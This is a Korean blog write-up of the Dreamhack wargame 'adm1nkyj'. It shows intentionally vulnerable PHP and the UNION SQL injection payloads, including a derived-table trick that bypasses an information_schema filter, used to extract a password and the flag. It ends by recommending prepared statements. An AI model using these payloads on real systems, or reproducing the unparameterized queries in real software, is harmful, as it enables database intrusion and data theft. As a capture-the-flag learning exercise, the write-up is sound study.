본문 바로가기
드림핵

[드림핵][wargame.kr] adm1nkyj 풀이

by jwcs 2024. 3. 31.
728x90

https://dreamhack.io/wargame/challenges/340

 

[wargame.kr] adm1nkyj

Description SQL injection Challenge! (injection) thx to adm1nkyj

dreamhack.io

Union SQL Injection 문제다.

 

https://jwcs.tistory.com/110

 

[SQL] information_schema가 필터링 됐을 때 Union SQL Injection

https://www.bugbountyclub.com/pentestgym/view/54 UNION 기반 SQL 인젝션 | Pentest Gym | 버그바운티클럽 UNION 기반 SQL Injection이란?Union 기반 SQL Injection은 웹 애플리케이션이 백엔드 데이터베이스로 질의한 SQL 쿼리

jwcs.tistory.com

여기에 문제 풀이에 필요한 이론 공부를 한 것을 정리해봤다.

 

<?php
    error_reporting(0);
    
    include("./config.php"); // hidden column name, $FLAG.

    mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    mysql_select_db("adm1nkyj");

    /**********************************************************************************************************************/

    function rand_string()
    {
        $string = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return str_shuffle($string);
    }

    function reset_flag($count_column, $flag_column)
    {
        $flag = rand_string();
        $query = mysql_fetch_array(mysql_query("SELECT $count_column, $flag_column FROM findflag_2"));
        if($query[$count_column] == 150)
        {
            if(mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo "reset flag<hr>";
            }
            return $flag;
        }
        else
        {
            mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return $query[$flag_column];
    }

    function get_pw($pw_column){
        $query = mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return $query[$pw_column];
    }

    /**********************************************************************************************************************/

    $tmp_flag = "";
    $tmp_pw = "";
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    $flags = $_GET['flag'];
    if(isset($id))
    {
        if(preg_match("/information|schema|user/i", $id) || substr_count($id,"(") > 1) exit("no hack");
        if(preg_match("/information|schema|user/i", $pw) || substr_count($pw,"(") > 1) exit("no hack");
        $tmp_flag = reset_flag($count_column, $flag_column);
        $tmp_pw = get_pw($pw_column);
        $query = mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if($query[$id_column])
        {
            if(isset($pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo "good job!!<br />FLAG : <b>".$FLAG."</b><hr>";
            }
            else
            {
                echo "Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        highlight_file(__FILE__);
    }
?>

전체 코드다. 천천히 뜯어보자면

변수 선언

변수를 선언하고 있다. 사용자로부터 `id`, `pw`, `flag`를 입력받는다.

필터링

if문 안의 내용이다. information, schema, user를 필터링하고 있다. 괄호의 사용 횟수가 2회 이상인 경우도 필터링하고 있다.

함수 실행

`reset_flag()`라는 함수와 `get_pw()`라는 함수의 결과를 `$tmp_flag`와 `$tmp_pw`에 저장한다. 

reset_flag()

 간단히 설명하자면, `$count_column`의 값이 150이면 flag의 값을 새로운 값으로 갱신하고, 150이 아니라면 `$count_column`의 값을 1씩 증가시킨다.

마지막엔 flag 값을 리턴하고 있다.

rand_string()

flag 값은 다음과 같은 로직에 의해 생성된다.

 

get_pw()

findflag_2 테이블에서 비밀번호를 하나 가져온다.

 

flag 출력 조건

테이블에서 가져온 flag 값과 비밀번호 값을 요구하고 있다. 만약 값이 틀리다면 `$id_column`을 출력해주고 있다. 여기서 UNION SQL Injection을 떠올렸다.

 

익스플로잇

칼럼 수 파악

?id=' or 1 union select 1,2,3,4,5-- -

`' or 1 -- -`을 넣었을 때 나오는 결과값을 기억해 뒀다가 union문으로 칼럼 개수를 파악해줬다. 5개의 칼럼을 입력했을 때 참인 결과와 같기 때문에 칼럼의 개수는 5이다.

 

비밀번호 칼럼명 파악

?id=' union select 1, &pw=, 3, 4,5-- -

비밀번호 칼럼명 파악

 

비밀번호 내용 파악

' union select null,xPw4coaa1sslfe,null,null,null from findflag_2 -- -

비밀번호 내용 파악

 

flag 내용 파악

' union select null,x,null,null,null from (select 1,2,3,4 as x,5 union select * from findflag_2) as a limit 1,1 -- -

flag 내용 파악

각 칼럼을 한 번씩 확인해보며 flag로 판단되는 것을 찾았다.

 

flag 출력

flag

짜잔

pw의 내용은 url 인코딩 후 넣어줘야 된다.

 

union sql injection에 대한 감을 기르고 새로운 방법에 대해 알 수 있었다.

 

취약점 해결 방법

sql injection이기 때문에 prepared statement를 적용해주면 된다.

728x90
반응형

'드림핵' 카테고리의 다른 글

[드림핵] CProxy: Forge 풀이  (0) 2024.04.07
[드림핵] chocoshop 풀이  (0) 2024.04.02
[드림핵] what-is-my-ip 풀이  (0) 2024.03.31
[드림핵] CProxy: Inject 풀이  (0) 2024.03.28
[드림핵] node-serialize 풀이  (0) 2024.03.10